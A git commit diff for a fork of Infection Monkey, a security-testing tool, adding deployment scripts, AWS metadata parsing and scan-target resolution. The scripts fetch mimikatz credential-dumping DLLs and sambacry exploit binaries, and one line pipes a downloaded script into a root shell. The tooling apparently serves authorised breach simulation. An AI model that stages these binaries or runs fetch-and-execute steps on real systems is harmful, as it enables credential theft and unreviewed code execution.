forked from p15670423/monkey
Merge remote-tracking branch 'origin/develop' into feature/run-aws-monkey
This commit is contained in:
commit
4e8fe0ec3f
|
@ -41,10 +41,13 @@ Setup
|
|||
-------------------------------
|
||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
||||
|
||||
The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility).
|
||||
|
||||
|
||||
Building the Monkey from source
|
||||
-------------------------------
|
||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||
To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
|
||||
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
# Files used to deploy development version of infection monkey
|
||||
## Windows
|
||||
|
||||
Before running the script you must have git installed.<br>
|
||||
Cd to scripts directory and use the scripts.<br>
|
||||
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||
Example usages:<br>
|
||||
./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br>
|
||||
./run_script.bat "C:\test" (Sets up monkey in C:\test)<br>
|
||||
powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br>
|
||||
./run_script.bat "" "master"(Sets up master branch instead of develop in current dir)
|
||||
Don't forget to add python to PATH or do so while installing it via this script.<br>
|
||||
|
||||
## Linux
|
||||
|
||||
You must have root permissions, but there is no need to run the script as root.<br>
|
||||
Launch deploy_linux.sh from scripts directory.<br>
|
||||
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||
Example usages:<br>
|
||||
./deploy_linux.sh (deploys under ./infection_monkey)<br>
|
||||
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
|
||||
./deploy_linux.sh "" "master" (deploys master branch in script directory)<br>
|
||||
./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br>
|
|
@ -0,0 +1,19 @@
|
|||
#!/usr/bin/env bash
|
||||
# Absolute monkey's path
|
||||
MONKEY_FOLDER_NAME="infection_monkey"
|
||||
# Url of public git repository that contains monkey's source code
|
||||
MONKEY_GIT_URL="https://github.com/guardicore/monkey"
|
||||
|
||||
# Monkey binaries
|
||||
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||
LINUX_32_BINARY_NAME="monkey-linux-32"
|
||||
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
|
||||
LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
|
||||
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
||||
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
|
||||
# Mongo url's
|
||||
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
|
||||
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"
|
|
@ -0,0 +1,48 @@
|
|||
# Absolute monkey's path
|
||||
$MONKEY_FOLDER_NAME = "infection_monkey"
|
||||
# Url of public git repository that contains monkey's source code
|
||||
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
|
||||
# Link to the latest python download or install it manually
|
||||
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
|
||||
|
||||
# Monkey binaries
|
||||
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||
$LINUX_32_BINARY_PATH = "monkey-linux-32"
|
||||
$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
|
||||
$LINUX_64_BINARY_PATH = "monkey-linux-64"
|
||||
$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
|
||||
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
|
||||
$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
||||
$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so"
|
||||
$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so"
|
||||
$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so"
|
||||
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
||||
|
||||
# Other directories and paths ( most likely you dont need to configure)
|
||||
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
|
||||
$MONKEY_DIR = "\monkey\infection_monkey"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
|
||||
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
|
||||
$MK32_DLL = "mk32.dll"
|
||||
$MK64_DLL = "mk64.dll"
|
||||
$TEMP_PYTHON_INSTALLER = ".\python.msi"
|
||||
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
||||
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
||||
$TEMP_CPP_INSTALLER = "cpp.exe"
|
||||
$TEMP_NPM_INSTALLER = "node.msi"
|
||||
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
|
||||
$TEMP_UPX_ZIP = "upx.zip"
|
||||
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
|
||||
$UPX_FOLDER = "upx394w"
|
||||
|
||||
# Other url's
|
||||
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
|
||||
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
|
||||
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
|
||||
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
|
||||
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
|
||||
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
|
||||
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
|
||||
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
|
||||
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"
|
|
@ -0,0 +1,157 @@
|
|||
#!/bin/bash
|
||||
source config
|
||||
|
||||
# Setup monkey either in dir required or current dir
|
||||
monkey_home=${1:-`pwd`}
|
||||
if [[ $monkey_home == `pwd` ]]; then
|
||||
monkey_home="$monkey_home/$MONKEY_FOLDER_NAME"
|
||||
fi
|
||||
|
||||
# We can set main paths after we know the home dir
|
||||
ISLAND_PATH="$monkey_home/monkey/monkey_island"
|
||||
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
|
||||
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
|
||||
MONGO_BIN_PATH="$MONGO_PATH/bin"
|
||||
ISLAND_DB_PATH="$ISLAND_PATH/db"
|
||||
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
|
||||
|
||||
handle_error () {
|
||||
echo "Fix the errors above and rerun the script"
|
||||
exit 1
|
||||
}
|
||||
|
||||
log_message () {
|
||||
echo -e "\n\n-------------------------------------------"
|
||||
echo -e "DEPLOYMENT SCRIPT: $1"
|
||||
echo -e "-------------------------------------------\n"
|
||||
}
|
||||
|
||||
sudo -v
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "You need root permissions for some of this script operations. Quiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d ${monkey_home} ]]; then
|
||||
mkdir -p ${monkey_home}
|
||||
fi
|
||||
|
||||
git --version &>/dev/null
|
||||
git_available=$?
|
||||
if [[ ${git_available} != 0 ]]; then
|
||||
echo "Please install git and re-run this script"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
log_message "Cloning files from git"
|
||||
branch=${2:-"develop"}
|
||||
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
||||
git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error
|
||||
chmod 774 -R ${monkey_home}
|
||||
fi
|
||||
|
||||
# Create folders
|
||||
log_message "Creating island dirs under $ISLAND_PATH"
|
||||
mkdir -p ${MONGO_BIN_PATH}
|
||||
mkdir -p ${ISLAND_DB_PATH}
|
||||
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
|
||||
|
||||
python_version=`python --version 2>&1`
|
||||
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
|
||||
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
log_message "Updating package list"
|
||||
sudo apt-get update
|
||||
|
||||
log_message "Installing pip"
|
||||
sudo apt-get install python-pip
|
||||
|
||||
log_message "Installing island requirements"
|
||||
requirements="$ISLAND_PATH/requirements.txt"
|
||||
python -m pip install --user -r ${requirements} || handle_error
|
||||
|
||||
# Download binaries
|
||||
log_message "Downloading binaries"
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
||||
# Allow them to be executed
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
|
||||
|
||||
# Get machine type/kernel version
|
||||
kernel=`uname -m`
|
||||
linux_dist=`lsb_release -a 2> /dev/null`
|
||||
|
||||
# If a user haven't installed mongo manually check if we can install it with our script
|
||||
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
|
||||
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
|
||||
echo "Script does not support your operating system for mongodb installation.
|
||||
Reference monkey island readme and install it manually"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Download mongo
|
||||
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
|
||||
log_message "Downloading mongodb"
|
||||
if [[ ${linux_dist} == *"Debian"* ]]; then
|
||||
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
|
||||
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
|
||||
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
|
||||
fi
|
||||
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
|
||||
else
|
||||
log_message "Mongo db already installed"
|
||||
fi
|
||||
|
||||
log_message "Installing openssl"
|
||||
sudo apt-get install openssl
|
||||
|
||||
# Generate SSL certificate
|
||||
log_message "Generating certificate"
|
||||
cd ${ISLAND_PATH} || handle_error
|
||||
openssl genrsa -out cc/server.key 1024 || handle_error
|
||||
openssl req -new -key cc/server.key -out cc/server.csr \
|
||||
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
|
||||
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
|
||||
|
||||
|
||||
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||
|
||||
# Install npm
|
||||
log_message "Installing npm"
|
||||
sudo apt-get install npm
|
||||
|
||||
# Update node
|
||||
log_message "Updating node"
|
||||
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
|
||||
sudo apt-get install -y nodejs
|
||||
|
||||
log_message "Generating front end"
|
||||
cd "$ISLAND_PATH/cc/ui" || handle_error
|
||||
npm update
|
||||
npm run dist
|
||||
|
||||
# Monkey setup
|
||||
log_message "Installing monkey requirements"
|
||||
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
||||
python -m pip install --user -r requirements.txt || handle_error
|
||||
|
||||
# Build samba
|
||||
log_message "Building samba binaries"
|
||||
sudo apt-get install gcc-multilib
|
||||
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||
chmod +x ./build.sh || handle_error
|
||||
./build.sh
|
||||
|
||||
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
|
||||
|
||||
log_message "Deployment script finished."
|
||||
exit 0
|
|
@ -0,0 +1,215 @@
|
|||
function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){
|
||||
# Import the config variables
|
||||
. ./config.ps1
|
||||
"Config variables from config.ps1 imported"
|
||||
|
||||
# If we want monkey in current dir we need to create an empty folder for source files
|
||||
if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){
|
||||
$monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME
|
||||
}
|
||||
|
||||
# Set variables for script execution
|
||||
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
||||
$webClient = New-Object System.Net.WebClient
|
||||
|
||||
# We check if git is installed
|
||||
try
|
||||
{
|
||||
git | Out-Null -ErrorAction Stop
|
||||
"Git requirement satisfied"
|
||||
}
|
||||
catch [System.Management.Automation.CommandNotFoundException]
|
||||
{
|
||||
"Please install git before running this script or add it to path and restart cmd"
|
||||
return
|
||||
}
|
||||
|
||||
# Download the monkey
|
||||
$output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
|
||||
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
|
||||
if ( $output -like "*already exists and is not an empty directory.*"){
|
||||
"Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory."
|
||||
} elseif ($output -like "fatal:*"){
|
||||
"Error while cloning monkey from the repository:"
|
||||
$output
|
||||
return
|
||||
} else {
|
||||
"Monkey cloned from the repository"
|
||||
# Create bin directory
|
||||
New-Item -ItemType directory -path $binDir
|
||||
"Bin directory added"
|
||||
}
|
||||
|
||||
# We check if python is installed
|
||||
try
|
||||
{
|
||||
$version = cmd.exe /c '"python" --version 2>&1'
|
||||
if ( $version -like 'Python 2.7.*' ) {
|
||||
"Python 2.7.* was found, installing dependancies"
|
||||
} else {
|
||||
throw System.Management.Automation.CommandNotFoundException
|
||||
}
|
||||
}
|
||||
catch [System.Management.Automation.CommandNotFoundException]
|
||||
{
|
||||
"Downloading python 2.7 ..."
|
||||
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
|
||||
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||
Remove-Item $TEMP_PYTHON_INSTALLER
|
||||
# Check if installed correctly
|
||||
$version = cmd.exe /c '"python" --version 2>&1'
|
||||
if ( $version -like '* is not recognized*' ) {
|
||||
"Python is not found in PATH. Add it manually or reinstall python."
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
# Set python home dir
|
||||
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
|
||||
|
||||
# Get vcforpython27 before installing requirements
|
||||
"Downloading Visual C++ Compiler for Python 2.7 ..."
|
||||
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
|
||||
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
|
||||
|
||||
# Install requirements for island
|
||||
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
|
||||
"Upgrading pip..."
|
||||
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
|
||||
$output
|
||||
if ( $output -like '*No module named pip*' ) {
|
||||
"Make sure pip module is installed and re-run this script."
|
||||
return
|
||||
}
|
||||
& python -m pip install --user -r $islandRequirements
|
||||
# Install requirements for monkey
|
||||
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
|
||||
& python -m pip install --user -r $monkeyRequirements
|
||||
|
||||
# Download mongodb
|
||||
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
|
||||
"Downloading mongodb ..."
|
||||
$webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP)
|
||||
"Unzipping mongodb"
|
||||
Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir
|
||||
# Get unzipped folder's name
|
||||
$mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name
|
||||
# Move all files from extracted folder to mongodb folder
|
||||
New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb")
|
||||
New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db")
|
||||
"Moving extracted files"
|
||||
Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\")
|
||||
"Removing zip file"
|
||||
Remove-Item $TEMP_MONGODB_ZIP
|
||||
Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse
|
||||
}
|
||||
|
||||
# Download OpenSSL
|
||||
"Downloading OpenSSL ..."
|
||||
$webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP)
|
||||
"Unzipping OpenSSl"
|
||||
Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue
|
||||
"Removing zip file"
|
||||
Remove-Item $TEMP_OPEN_SSL_ZIP
|
||||
|
||||
# Download and install C++ redistributable
|
||||
"Downloading C++ redistributable ..."
|
||||
$webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
|
||||
Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
|
||||
Remove-Item $TEMP_CPP_INSTALLER
|
||||
|
||||
# Generate ssl certificate
|
||||
"Generating ssl certificate"
|
||||
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
|
||||
. .\windows\create_certificate.bat
|
||||
Pop-Location
|
||||
|
||||
# Adding binaries
|
||||
"Adding binaries"
|
||||
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
|
||||
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
|
||||
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
|
||||
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
|
||||
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
|
||||
|
||||
# Check if NPM installed
|
||||
"Installing npm"
|
||||
try
|
||||
{
|
||||
$version = cmd.exe /c '"npm" --version 2>&1'
|
||||
if ( $version -like "*is not recognized*"){
|
||||
throw System.Management.Automation.CommandNotFoundException
|
||||
} else {
|
||||
"Npm already installed"
|
||||
}
|
||||
}
|
||||
catch [System.Management.Automation.CommandNotFoundException]
|
||||
{
|
||||
"Downloading npm ..."
|
||||
$webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER)
|
||||
Start-Process -Wait $TEMP_NPM_INSTALLER
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||
Remove-Item $TEMP_NPM_INSTALLER
|
||||
}
|
||||
|
||||
"Updating npm"
|
||||
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui")
|
||||
& npm update
|
||||
& npm run dist
|
||||
Pop-Location
|
||||
|
||||
# Install pywin32
|
||||
"Downloading pywin32"
|
||||
$webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER)
|
||||
Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop
|
||||
Remove-Item $TEMP_PYWIN32_INSTALLER
|
||||
|
||||
# Create infection_monkey/bin directory if not already present
|
||||
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
|
||||
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||
|
||||
# Download upx
|
||||
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
|
||||
"Downloading upx ..."
|
||||
$webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
|
||||
"Unzipping upx"
|
||||
Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
|
||||
Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
|
||||
# Remove unnecessary files
|
||||
Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
|
||||
"Removing zip file"
|
||||
Remove-Item $TEMP_UPX_ZIP
|
||||
}
|
||||
|
||||
# Download mimikatz binaries
|
||||
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
|
||||
if(!(Test-Path -Path $mk32_path )){
|
||||
"Downloading mimikatz 32 binary"
|
||||
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
|
||||
}
|
||||
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
|
||||
if(!(Test-Path -Path $mk64_path )){
|
||||
"Downloading mimikatz 64 binary"
|
||||
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
|
||||
}
|
||||
|
||||
# Download sambacry binaries
|
||||
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
|
||||
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
|
||||
if(!(Test-Path -Path $samba32_path )){
|
||||
"Downloading sambacry 32 binary"
|
||||
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
|
||||
}
|
||||
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
|
||||
if(!(Test-Path -Path $samba64_path )){
|
||||
"Downloading sambacry 64 binary"
|
||||
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
|
||||
}
|
||||
|
||||
"Script finished"
|
||||
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
SET command=. .\deploy_windows.ps1; Deploy-Windows
|
||||
if NOT "%~1" == "" (
|
||||
SET "command=%command% -monkey_home %~1"
|
||||
)
|
||||
if NOT "%~2" == "" (
|
||||
SET "command=%command% -branch %~2"
|
||||
)
|
||||
powershell -ExecutionPolicy ByPass -Command %command%
|
|
@ -1,3 +1,4 @@
|
|||
import re
|
||||
import urllib2
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
@ -6,12 +7,24 @@ __author__ = 'itay.mizeretz'
|
|||
class AwsInstance(object):
|
||||
def __init__(self):
|
||||
try:
|
||||
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read()
|
||||
self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1]
|
||||
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
|
||||
self.region = self._parse_region(
|
||||
urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read())
|
||||
except urllib2.URLError:
|
||||
self.instance_id = None
|
||||
self.region = None
|
||||
|
||||
@staticmethod
|
||||
def _parse_region(region_url_response):
|
||||
# For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
|
||||
# This regex will find any AWS region format string in the response.
|
||||
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
|
||||
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
|
||||
if finding:
|
||||
return finding[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_instance_id(self):
|
||||
return self.instance_id
|
||||
|
||||
|
|
|
@ -5,9 +5,12 @@ from abc import ABCMeta, abstractmethod
|
|||
|
||||
import ipaddress
|
||||
from six import text_type
|
||||
import logging
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NetworkRange(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
@ -47,12 +50,23 @@ class NetworkRange(object):
|
|||
address_str = address_str.strip()
|
||||
if not address_str: # Empty string
|
||||
return None
|
||||
if -1 != address_str.find('-'):
|
||||
if NetworkRange.check_if_range(address_str):
|
||||
return IpRange(ip_range=address_str)
|
||||
if -1 != address_str.find('/'):
|
||||
return CidrRange(cidr_range=address_str)
|
||||
return SingleIpRange(ip_address=address_str)
|
||||
|
||||
@staticmethod
|
||||
def check_if_range(address_str):
|
||||
if -1 != address_str.find('-'):
|
||||
ips = address_str.split('-')
|
||||
try:
|
||||
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
|
||||
except ValueError as e:
|
||||
return False
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _ip_to_number(address):
|
||||
return struct.unpack(">L", socket.inet_aton(address))[0]
|
||||
|
@ -111,13 +125,58 @@ class IpRange(NetworkRange):
|
|||
class SingleIpRange(NetworkRange):
|
||||
def __init__(self, ip_address, shuffle=True):
|
||||
super(SingleIpRange, self).__init__(shuffle=shuffle)
|
||||
self._ip_address = ip_address
|
||||
self._ip_address, self.domain_name = self.string_to_host(ip_address)
|
||||
|
||||
def __repr__(self):
|
||||
return "<SingleIpRange %s>" % (self._ip_address,)
|
||||
|
||||
def __iter__(self):
|
||||
"""
|
||||
We have to check if we have an IP to return, because user could have entered invalid
|
||||
domain name and no IP was found
|
||||
:return: IP if there is one
|
||||
"""
|
||||
if self.ip_found():
|
||||
yield self._number_to_ip(self.get_range()[0])
|
||||
|
||||
def is_in_range(self, ip_address):
|
||||
return self._ip_address == ip_address
|
||||
|
||||
def _get_range(self):
|
||||
return [SingleIpRange._ip_to_number(self._ip_address)]
|
||||
|
||||
def ip_found(self):
|
||||
"""
|
||||
Checks if we could translate domain name entered into IP address
|
||||
:return: True if dns found domain name and false otherwise
|
||||
"""
|
||||
return self._ip_address
|
||||
|
||||
@staticmethod
|
||||
def string_to_host(string):
|
||||
"""
|
||||
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
|
||||
:param string: String that was entered in "Scan IP/subnet list"
|
||||
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
|
||||
"""
|
||||
# The most common use case is to enter ip/range into "Scan IP/subnet list"
|
||||
domain_name = ''
|
||||
|
||||
# Make sure to have unicode string
|
||||
user_input = string.decode('utf-8', 'ignore')
|
||||
|
||||
# Try casting user's input as IP
|
||||
try:
|
||||
ip = ipaddress.ip_address(user_input).exploded
|
||||
except ValueError:
|
||||
# Exception means that it's a domain name
|
||||
try:
|
||||
ip = socket.gethostbyname(string)
|
||||
domain_name = string
|
||||
except socket.error:
|
||||
LOG.error("Your specified host: {} is not found as a domain name and"
|
||||
" it's not an IP address".format(string))
|
||||
return None, string
|
||||
# If a string was entered instead of IP we presume that it was domain name and translate it
|
||||
return ip, domain_name
|
||||
|
||||
|
|
|
@ -1,2 +1,2 @@
|
|||
#!/bin/bash
|
||||
pyinstaller --clean monkey-linux.spec
|
||||
pyinstaller -F --log-level=DEBUG --clean monkey.spec
|
||||
